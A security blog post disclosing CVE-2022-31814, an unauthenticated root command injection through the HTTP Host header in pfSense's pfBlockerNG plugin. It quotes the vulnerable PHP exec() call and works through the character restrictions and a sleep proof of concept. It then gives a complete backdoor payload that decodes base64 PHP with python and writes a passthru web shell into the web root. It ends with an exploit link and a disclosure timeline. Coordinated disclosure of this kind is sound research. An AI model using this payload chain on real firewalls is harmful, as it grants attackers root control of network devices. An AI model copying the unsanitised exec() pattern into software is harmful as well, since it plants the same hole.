Headline
CVE-2022-31814: pfBlockerNG Unauth RCE Vulnerability - IHTeam Security Blog
pfSense pfBlockerNG through 2.1.4_26 allows remote attackers to execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.
TL;DR
IHTeam undertook an independent security assessment of pfsense’s pfBlockerNG plugin version 2.1.4_26 and identified the following vulnerability:
- Unauthenticated Remote Command Execution as root (CVE-2022-31814)
What’s pfBlockerNG
pfBlockerNG (https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html) is a pfSense plugin that is NOT installed by default and it’s generally used to block inbound connections from whole countries or IP ranges.
CVE-2022-31814
IHTeam identified a remote command execution vulnerability in pfBlockerNG <= 2.1.4_26 that can be exploited from an unauthenticated perspective.
Fig 1: Image showing the installed pfBlockerNG plugin
Being the web server run by the root user, the impact of this vulnerability is critical, with a CVSS 3.0 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
The consultant downloaded the latest stable version of pfSense (2.6.0 at the moment of writing) and installed the latest stable version of pfBlockerNG (2.1.4_26 at the moment of writing).
The vulnerability was identified in the file /usr/local/www/pfblockerng/www/index.php which is used to record and query DNSBL data. Specifically to query, the code uses PHP function exec(), passing untrusted data into the command.
// Query DNSBL Alias for Domain List.
$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));
exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);
The $_SERVER[‘HTTP_HOST’] element passed in the above code, is a user-controllable input that could result in changing the meaning of the command (as originally intended). An attacker can tamper with the HTTP_HOST parameter via the “Host:” header of the request, as shown in the picture below:
Fig 2: Image showing the “Host” header value reflected in command
—Restrictions on characters—
There were few restrictions in place regarding characters you could use:
- htmlspecialchars() PHP function was preventing the use of shell redirections (> and <), double quotes (“), and ampersand (&)
Fig 3: Image showing how “&” was encoded in HTML when used
- nginx web server won’t accept the forward slash (/) in the Host header, returning a 400 – Bad Request
Fig 4: Image showing nginx returning 400
Therefore, the only available characters to build a working payload were:
- pipe (|)
- semicolon (;)
- single quote (‘)
- spaces ( )
–Simple proof of concept–
To easily identify a valid payload, we can copy the original command in the exec() function and try to tamper with it directly in a shell:
/usr/bin/grep -l ' "INJECTION 60 IN A' /var/db/pfblockerng/dnsblalias/*
In order to obtain a working PoC, we need:
Close the single quote
Specify a directory to search on
Break the command with a semicolon
Comment or add an additional single quote
' *; sleep 5; '
The above simple proof of concept made the system delay the request for 5 seconds, confirming the injection worked.
–Backdooring pfSense–
The next step would involve the build of a stable shell on the remote machine and to do so, we would need to find a creative way to (at least) write a PHP file.
Remember that we can’t use redirections or even forward slashes, therefore the consultant utilized base64 to write a more complex payload that could be executed via php-cli.
However, the “base64 -d” binary was not installed by default in pfSense, but python3.8 was, therefore we were able to write and decode base64 payloads and pipe everything in the php-cli binary:
Simple PHP code
<?echo(“HELL”);?>
Encode it in base64
PD9lY2hvKCJIRUxMIik7Pz4=
Use python to decode the base64
python3.8 -m base64 -d
Pipe everything into PHP
| php
Fig 5: Image showing the “echo” message successfully executed by PHP
Keep in mind that base64 has forward slashes (/) in its charset – therefore build a payload that doesn’t include them.
Now that we got back the “HELL” message, we know that PHP successfully executed our payload, we can build a more complex payload to backdoor pfSense.
<?$a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru( $_GET["c"]));?>';fwrite($a,$t);fclose( $a);?>
It creates a file in /usr/local/www/system_advanced_control.php with a very simple call to execute command and get back results from it.
PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+
Once again, the above payload, encoded in base64, did not contain any forward slashes. Hence, the final payload to obtain a backdoor in pfSense would be as follow:
/usr/bin/grep -l ' "' * ; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBlY2hvKGV4ZWMoJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSgkYSk7Pz4=' | python3.8 -m base64 -d | php ; ' 60 IN A' /var/db/pfblockerng/dnsblalias/*
Exploit Code
The exploit code can be found at https://iht.li/p/WWATN
Fig 6: Image showing the exploit execution
Disclosure Timeline
28/05/2022 – Technical details sent to [email protected]
31/05/2022 – No response from NetGate, directly contacted BBcan177 (maintainer of the package in GitHub)
05/06/2022 – BBcan177 released a temporary patch https://github.com/pfsense/FreeBSD-ports/pull/1169 while waiting to deprecate version 2.x in favor of 3.x
07/06/2022 – NetGate came back saying they don’t issue security advisories for vulnerabilities within Packages, especially community-maintained packages such as pfBlockerNG.
–3 months delay to allow clients to patch–
05/09/2022 – Blog post and exploit published
Related news
pfBlockerNG version 2.1.4_26 remote code execution exploit.
pfSense pfBlockerNG through 2.1.4_27 allows remote attackers to execute arbitrary OS commands as root via the HTTP Host header, a different vulnerability than CVE-2022-31814.